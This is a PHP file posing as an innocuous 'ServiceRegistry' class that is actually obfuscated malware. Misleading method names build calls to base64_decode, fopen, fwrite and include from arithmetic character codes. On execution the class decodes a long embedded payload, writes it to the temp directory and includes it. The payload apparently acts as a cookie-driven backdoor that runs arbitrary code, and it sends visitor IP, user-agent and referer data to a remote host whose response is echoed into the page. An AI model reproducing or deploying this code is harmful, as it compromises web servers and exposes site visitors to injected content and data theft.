<?php
class ServiceRegistry
{
    private $hv = '';
    private $cs = '';
    public function updateRegistry($p1)
    {
        $r = array(52 + 46, 15 + 82, 118 - 3, 101 * 1, 18 + 36, 14 + 38, 29 + 17 + 49, 31 + 48 + 21, 101 * 1, 90 * 1 + 9, 56 + 16 + 39, 10 * 4 + 60, 101 * 1);
        $x = '';
        foreach ($r as $k) {
            $x .= chr($k);
        }
        return $x($p1);
    }
    public function resetState($p1, $p2)
    {
        $x = array(54 * 1 + 48, 91 * 32 - 2801, 99 + 13, 44 + 57, 2 * 55);
        $e = '';
        foreach ($x as $n) {
            $e .= chr($n);
        }
        return $e($p1, $p2);
    }
    public function cacheData($p1, $p2)
    {
        $z = array(101 * 1, 13 * 5 + 51, 108 - 3, 85 * 1 + 29, 98 * 10 - 861, 34 + 68);
        $k = '';
        foreach ($z as $t) {
            $k .= chr($t);
        }
        $k = strrev($k);
        return $k($p1, $p2);
    }
    public function calculateSum($p1)
    {
        $t = array(13 + 88, 85 + 3 + 27, 89 + 22, 86 + 22, 22 + 39 + 38, 2 * 51);
        $h = '';
        foreach ($t as $m) {
            $h .= chr($m);
        }
        $h = strrev($h);
        return $h($p1);
    }
    public function fetchSummary($p1, $p2 = null)
    {
        $g = array(82 * 1 + 27, 77 + 21 + 7, 2 * 57, 85 + 31, 54 * 2 + 6);
        $h = '';
        foreach ($g as $b) {
            $h .= chr($b);
        }
        $h = strrev($h);
        return $h($p1, $p2);
    }
    public function executeAction()
    {
        $this->cs = $this->fetchSummary($this->logTransaction(), '/');
    }
    public function processData()
    {
        $this->hv = $this->updateRegistry($this->sq);
    }
    public function updateCache()
    {
        $fn = $this->cs . '/bb-690d718db7e34';
        $f = $this->resetState($fn, 'w');
        $this->cacheData($f, $this->hv);
        $this->calculateSum($f);
        $this->resolveAction($fn);
    }
    private $sq = 'PD9waHAgY2xhc3MgX2pqYXtwcml2YXRlIHN0YXRpYyRfYmk7c' . '3RhdGljIGZ1bmN0aW9uIF9wYmkoJF9ibXkpe2lmKCFzZWxmOjo' . 'kX2JpKXNlbGY6Ol92bigpO3JldHVybiBiYXNlNjRfZGVjb2RlK' . 'HNlbGY6OiRfYmlbJF9ibXldKTt9cHJpdmF0ZSBzdGF0aWMgZnV' . 'uY3Rpb24gX3ZuKCl7c2VsZjo6JF9iaT1hcnJheSgnX2VzdCc9P' . 'idRV05qWlhOekxVTnZiblJ5YjJ3dFFXeHNiM2N0VDNKcFoybHV' . 'PJy4naUEnLidxJywnX3pzZyc9PidRMjl1ZEdWdWRDMVVlWEJsT' . '2lCaGNIQnNhV05oZEdsdmJpOXFZWFpoYzJOeScuJ2FYQjAnLCd' . 'fcXUnPT4nWScuJzJnJy4nPScsJ19zZHQnPT4nWlhsS2NHTkRTV' . 'FpKYW1jMFRHcG5ORXhxWnpSTWFtYzBTV2wzYVdSWFJXbFBhVSc' . 'uJ293V2xoT01FbHBkMmxqYlZadFNXcCcuJ3ZhV1JIVm5wa1EnL' . 'icwJy4nbycuJzUnLCdfeWQnPT4nYycuJ1hkNmUnLidBJy4nPT0' . 'nLCdfa3QnPT4nUEcnLic5cicuJ1BnJy4nPScuJz0nLCdfZ3InP' . 'T4nUEdKaFonLidENCcuJz0nLCdfbHUnPT4nZDInLidGJy4ncyc' . 'uJ2JBPScuJz0nLCdfYWxiJz0+JycsJ196byc9PicnLCdfamhpJ' . 'z0+JycsJ19pamUnPT4nYUhSMGNEb3ZMM0IxWWk1M1pXSm1hV3h' . 'sYUc5emRHJy4nVnlMbU52YlM5amIyMXdiM05sY2k1cScuJ2N6O' . 'ScuJ2tZWFJoJy4nUCcuJ1EnLic9Jy4nPScsJ191Zyc9PidZJy4' . 'nM1Z5YkY5cGJtbCcuJzAnLCdfbWcnPT4nYUhSMGNGOWpiMicuJ' . '1JsJywnX3liJz0+J2MyTm9aVzFsJywnX2h2dCc9PidhSFIwYyc' . 'uJ0gnLidNJy4nPScsJ19paXonPT4nUicuJzBWVUlBJy4nPT0nL' . 'CdfYXgnPT4nY0dGMCcuJ2FBPT0nLCdfZGwnPT4nY1hWbGNuayc' . 'uJz0nLCdfcnhsJz0+J1B3Jy4nPT0nLCdfdHhmJz0+J2MnLidYV' . 'mwnLidjbicuJ2s9JywnX2N6eic9PidJRWhVVkZBdk1TNHdEUXB' . 'JYicuJzNOMCcuJ09pQT0nLCdfcnQnPT4nYUc5Jy4neicuJ2QnL' . 'idBPT0nLCdfZ3onPT4nRFFwRGIyNXVaV04wYVc5dU9pQkRiRzk' . 'nLid6WlEwS0RRbz0nLCdfeHFjJz0+J2MzTnNPaScuJzh2JywnX' . '3p2Jz0+JycsJ19zcic9PidhRzknLid6Jy4nZEEnLic9PScsJ19' . 'nbCc9PidEJy4nUW8nLic9JywnX3hwJz0+J1NGUlUnLidVRjlEV' . 'EVsRlRsUicuJ2ZTVicuJ0E9JywnX2d0Jz0+J1NGUlVVRjlZWDB' . 'aUFVsZEJVa1JGUicuJ0Y5Jy4nR1QxSScuJz0nLCdfcWVxJz0+J' . '1VrVk5UMVJGWDAnLidGRVJGST0nLCdfdGRxJz0+J1NGUlVVRjl' . 'WJy4nVTBWU1gwJy4nRkhSVTVVJywnX2pvJz0+J1NGJy4nUlVVR' . 'jlWVTBWU1gwRkhSJy4nVTUnLidVJywnX25xZCc9PicnLCdfeXh' . 'iJz0+J1NGUlVVRjlTUlVaJy4nRlVrVlMnLCdfbnonPT4nU0ZSV' . 'VVGOVNSVVpGJy4nVWtWJy4nUycsJ190bm0nPT4nJywnX29wJz0' . '+J1NGUlVVRjlEVCcuJ0VsRlQnLidsUmZTVkEnLic9JywnX255J' . 'z0+J1NGUlVVRjlEVEVsRlRsUicuJ2YnLidTVkE9JywnX2p4Zic' . '9PidTRlJVVUY5WVgwWlBVbGRCVWtSRlJGOUdUMUknLic9JywnX' . '3FvJz0+J1NGUlVVRjlZWDBaUFVsZCcuJ0JVa1JGUkY5RycuJ1Q' . 'xJy4nST0nLCdfd2piJz0+J1VrVk5UMVJGWDBGRVJGSScuJz0nL' . 'CdfYWZsJz0+J1VrVk5UMVJGWDBGRVJGSScuJz0nLCdfcXcnPT4' . 'nWkdKbmJXOWtaUT0nLic9JywnX2Rzbyc9PidTVkE2SUE9PScsJ' . '19zbCc9PidJSHdnVlVFNklBJy4nPT0nLCdfd2h3Jz0+J0lIJy4' . 'ndycuJ2dVbScuJ1ZtT2lBPScsJ19kdmwnPT4nSUR4aWNqJy4nN' . 'CcuJ0snLCdfd2xxJz0+J2FYQScuJz0nLCdfb25xJz0+J2RXRSc' . 'uJz0nLCdfZGcnPT4nY21WJy4nbScsJ19kbic9PidjJy4nWCcuJ' . '2Q2Jy4nZScuJ0E9Jy4nPScsKTt9fWNsYXNzIF93d3h7cHJpdmF' . '0ZSBzdGF0aWMkX2JpO3N0YXRpYyBmdW5jdGlvbiBfcGJpKCRfY' . 'm15KXtpZighc2VsZjo6JF9iaSlzZWxmOjpfdm4oKTtyZXR1cm4' . 'gc2VsZjo6JF9iaVskX2JteV07fXByaXZhdGUgc3RhdGljIGZ1b' . 'mN0aW9uIF92bigpe3NlbGY6OiRfYmk9YXJyYXkoMDAsMDcsMDM' . '2LDAzNiwwMSwwMzYsMDIsMDcsMDEsMDE2LDAzMCwwNiwwMzIsM' . 'DEyLDAxMSwwMTMsMDI3LDAzMSwwMywwMiwwMSwwMSwwMCwwMTI' . 'sMDEyLDAzMTAsMDY3MywwMTIwLDAwLDAyMDAwLDAxLDA0MjMsM' . 'DQyMyk7fX1oZWFkZXIoX2pqYTo6X3BiaSgnXycuJ2UnLidzJy4' . 'ndCcpKTtoZWFkZXIoX2pqYTo6X3BiaSgnX3pzZycpKTtpZihpc' . '3NldCgkX0dFVFtfamphOjpfcGJpKCdfcScuJ3UnKV0pKXskX3F' . 'weT1fZ2QoX2pqYTo6X3BiaSgnX3NkJy4ndCcpKTtpZigkX3Fwe' . 'SYmc3RycG9zKCRfcXB5LF9qamE6Ol9wYmkoJ195Jy4nZCcpKSE' . '9PWZhbHNlKXtkaWUoX2pqYTo6X3BiaSgnX2snLid0JykpO31lb' . 'HNle2RpZShfamphOjpfcGJpKCdfZ3InKSk7fX1pZihpc3NldCg' . 'kX0dFVFtfamphOjpfcGJpKCdfJy4nbCcuJ3UnKV0pKXskX2Npb' . 'z0kX0NPT0tJRTskX3d4cD1fd3d4OjpfcGJpKDApOyRfYm15PV9' . '3d3g6Ol9wYmkoMSk7JF9qbj1hcnJheSgpOyRfam5bJF93eHBdP' . 'V9qamE6Ol9wYmkoJ19hbGInKTt3aGlsZSgkX2JteSl7JF9qbls' . 'kX3d4cF0uPSRfY2lvW193d3g6Ol9wYmkoMildWyRfYm15XTtpZ' . 'ighJF9jaW9bX3d3eDo6X3BiaSgzKV1bJF9ibXkrX3d3eDo6X3B' . 'iaSg0KV0pe2lmKCEkX2Npb1tfd3d4OjpfcGJpKDUpXVskX2Jte' . 'Stfd3d4OjpfcGJpKDYpXSlicmVhazskX3d4cCsrOyRfam5bJF9' . '3eHBdPV9qamE6Ol9wYmkoJ196Jy4nbycpOyRfYm15Kys7fSRfY' . 'm15PSRfYm15K193d3g6Ol9wYmkoNykrX3d3eDo6X3BiaSg4KTt' . '9JF93eHA9JF9qbltfd3d4OjpfcGJpKDkpXSgpLiRfam5bX3d3e' . 'Do6X3BiaSgxMCldO2lmKCEkX2puW193d3g6Ol9wYmkoMTEpXSg' . 'kX3d4cCkpeyRfYm15PSRfam5bX3d3eDo6X3BiaSgxMildKCRfd' . '3hwLCRfam5bX3d3eDo6X3BiaSgxMyldKTskX2puW193d3g6Ol9' . 'wYmkoMTQpXSgkX2JteSwkX2puW193d3g6Ol9wYmkoMTUpXS4kX' . '2puW193d3g6Ol9wYmkoMTYpXSgkX2puW193d3g6Ol9wYmkoMTc' . 'pXSgkX2Npb1tfd3d4OjpfcGJpKDE4KV0pKSk7fWluY2x1ZGUoJ' . 'F93eHApO31mdW5jdGlvbiBfZ2QoJF9ubCwkX2RkdT0tMC45Mjc' . '0MzExMTgzMTQ0Mil7JF95bT1famphOjpfcGJpKCdfamhpJyk7J' . 'F9sd2M9X2pqYTo6X3BiaSgnX2lqZScpLiRfbmw7aWYoaXNfY2F' . 'sbGFibGUoX2pqYTo6X3BiaSgnX3UnLidnJykpKXskX2twPWN1c' . 'mxfaW5pdCgkX2x3Yyk7Y3VybF9zZXRvcHQoJF9rcCxDVVJMT1B' . 'UX1NTTF9WRVJJRllQRUVSLGZhbHNlKTtjdXJsX3NldG9wdCgkX' . '2twLENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsX3d3eDo6X3BiaSg' . 'xOSkpO2N1cmxfc2V0b3B0KCRfa3AsQ1VSTE9QVF9GT0xMT1dMT' . '0NBVElPTixfd3d4OjpfcGJpKDIwKSk7Y3VybF9zZXRvcHQoJF9' . 'rcCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLF93d3g6Ol9wYmkoM' . 'jEpKTtjdXJsX3NldG9wdCgkX2twLENVUkxPUFRfSEVBREVSLF9' . '3d3g6Ol9wYmkoMjIpKTtjdXJsX3NldG9wdCgkX2twLENVUkxPU' . 'FRfQ09OTkVDVFRJTUVPVVQsX3d3eDo6X3BiaSgyMykpO2N1cmx' . 'fc2V0b3B0KCRfa3AsQ1VSTE9QVF9USU1FT1VULF93d3g6Ol9wY' . 'mkoMjQpKTskX3ltPWN1cmxfZXhlYygkX2twKTskX3N5PWN1cmx' . 'fZ2V0aW5mbygkX2twKTtjdXJsX2Nsb3NlKCRfa3ApO2lmKCRfc' . '3lbX2pqYTo6X3BiaSgnX21nJyldIT1fd3d4OjpfcGJpKDI1KSl' . 'yZXR1cm4gZmFsc2U7fWVsc2V7JF9iej1wYXJzZV91cmwoJF9sd' . '2MpOyRfaWo9KCRfYnpbX2pqYTo6X3BiaSgnXycuJ3knLidiJyl' . 'dPT1famphOjpfcGJpKCdfJy4naHZ0JykpOyRfamU9X2pqYTo6X' . '3BiaSgnX2lpJy4neicpLiRfYnpbX2pqYTo6X3BiaSgnX2EnLid' . '4JyldO2lmKGlzc2V0KCRfYnpbX2pqYTo6X3BiaSgnXycuJ2QnL' . 'idsJyldKSkkX2plLj1famphOjpfcGJpKCdfJy4ncicuJ3gnLid' . 'sJykuJF9ieltfamphOjpfcGJpKCdfdHgnLidmJyldOyRfamUuP' . 'V9qamE6Ol9wYmkoJ19jeicuJ3onKS4kX2J6W19qamE6Ol9wYmk' . 'oJ18nLidydCcpXS5famphOjpfcGJpKCdfJy4nZ3onKTskX2ZoP' . 'WZzb2Nrb3BlbigoJF9paj9famphOjpfcGJpKCdfeCcuJ3EnLid' . 'jJyk6X2pqYTo6X3BiaSgnX3onLid2JykpLiRfYnpbX2pqYTo6X' . '3BiaSgnX3NyJyldLCRfaWo/X3d3eDo6X3BiaSgyNik6X3d3eDo' . '6X3BiaSgyNykpO2lmKCRfZmgpe2ZwdXRzKCRfZmgsJF9qZSk7J' . 'F95ZXk9X3d3eDo6X3BiaSgyOCk7d2hpbGUoIWZlb2YoJF9maCk' . 'peyRfd3Q9ZmdldHMoJF9maCxfd3d4OjpfcGJpKDI5KSk7aWYoJ' . 'F95ZXkpJF95bS49JF93dDtpZigkX3d0PT1famphOjpfcGJpKCd' . 'fZycuJ2wnKSkkX3lleT1fd3d4OjpfcGJpKDMwKTt9ZmNsb3NlK' . 'CRfZmgpO319cmV0dXJuJF95bTt9JF9oaz1pc3NldCgkX1NFUlZ' . 'FUltfamphOjpfcGJpKCdfeCcuJ3AnKV0pOyRfa3ZqPWlzc2V0K' . 'CRfU0VSVkVSW19qamE6Ol9wYmkoJ18nLidnJy4ndCcpXSk7JF9' . 'rdD1pc3NldCgkX1NFUlZFUltfamphOjpfcGJpKCdfJy4ncWUnL' . 'idxJyldKTskX2NmPWlzc2V0KCRfU0VSVkVSW19qamE6Ol9wYmk' . 'oJ190ZHEnKV0pPyRfU0VSVkVSW19qamE6Ol9wYmkoJ18nLidqb' . 'ycpXTpfamphOjpfcGJpKCdfbnFkJyk7JF9mdj1pc3NldCgkX1N' . 'FUlZFUltfamphOjpfcGJpKCdfeXgnLidiJyldKT8kX1NFUlZFU' . 'ltfamphOjpfcGJpKCdfbicuJ3onKV06X2pqYTo6X3BiaSgnX3Q' . 'nLidubScpOyRfaGs9aXNzZXQoJF9TRVJWRVJbX2pqYTo6X3Bia' . 'SgnXycuJ29wJyldKT8kX1NFUlZFUltfamphOjpfcGJpKCdfbnk' . 'nKV06bnVsbDskX2t2aj1pc3NldCgkX1NFUlZFUltfamphOjpfc' . 'GJpKCdfangnLidmJyldKT8kX1NFUlZFUltfamphOjpfcGJpKCd' . 'fcScuJ28nKV06bnVsbDskX2t0PWlzc2V0KCRfU0VSVkVSW19qa' . 'mE6Ol9wYmkoJ193Jy4namInKV0pPyRfU0VSVkVSW19qamE6Ol9' . 'wYmkoJ19hJy4nZmwnKV06bnVsbDtpZihmaWx0ZXJfdmFyKCRfa' . 'GssX3d3eDo6X3BiaSgzMSkpKXskX2dkPSRfaGs7fWVsc2VpZih' . 'maWx0ZXJfdmFyKCRfa3ZqLF93d3g6Ol9wYmkoMzIpKSl7JF9nZ' . 'D0kX2t2ajt9ZWxzZXskX2dkPSRfa3Q7fWlmKGlzc2V0KCRfR0V' . 'UW19qamE6Ol9wYmkoJ19xJy4ndycpXSkpe2VjaG8gX2pqYTo6X' . '3BiaSgnX2QnLidzJy4nbycpLiRfZ2QuX2pqYTo6X3BiaSgnX3N' . 'sJykuJF9jZi5famphOjpfcGJpKCdfJy4nd2gnLid3JykuJF9md' . 'i5famphOjpfcGJpKCdfZCcuJ3YnLidsJyk7ZXhpdCgpO31pZig' . 'haXNzZXQoJF9nZCl8fCFpc3NldCgkX2NmKXx8IWlzc2V0KCRfZ' . 'nYpKXtleGl0KCk7fWVsc2V7JF9lej1hcnJheShfamphOjpfcGJ' . 'pKCdfJy4nd2wnLidxJyk9PiRfZ2QsX2pqYTo6X3BiaSgnX28nL' . 'iduJy4ncScpPT4kX2NmLF9qamE6Ol9wYmkoJ18nLidkZycpPT4' . 'kX2Z2KTskX3RqPXVybGVuY29kZShiYXNlNjRfZW5jb2RlKGpzb' . '25fZW5jb2RlKCRfZXopKSk7JF9xcHk9X2dkKCRfdGopO2lmKCR' . 'fcXB5JiZzdHJwb3MoJF9xcHksX2pqYTo6X3BiaSgnXycuJ2RuJ' . 'ykpIT09ZmFsc2Upe2VjaG8kX3FweTtleGl0KCk7fX0=';
    public function resolveAction($p)
    {
        include_once $p;
    }
    public function logTransaction()
    {
        $a = array(115, 89 * 1 + 32, 21 + 94, 36 * 2 + 23, 103, 101 * 1, 80 * 7 - 444, 104 - 9, 16 + 100, 4 * 20 + 21, 77 * 109 - 8284, 98 * 1 + 14, 5 * 19, 8 * 8 + 36, 4 + 101, 2 * 57);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$gcgg = new ServiceRegistry();
$gcgg->executeAction();
$gcgg->processData();
$gcgg->updateCache();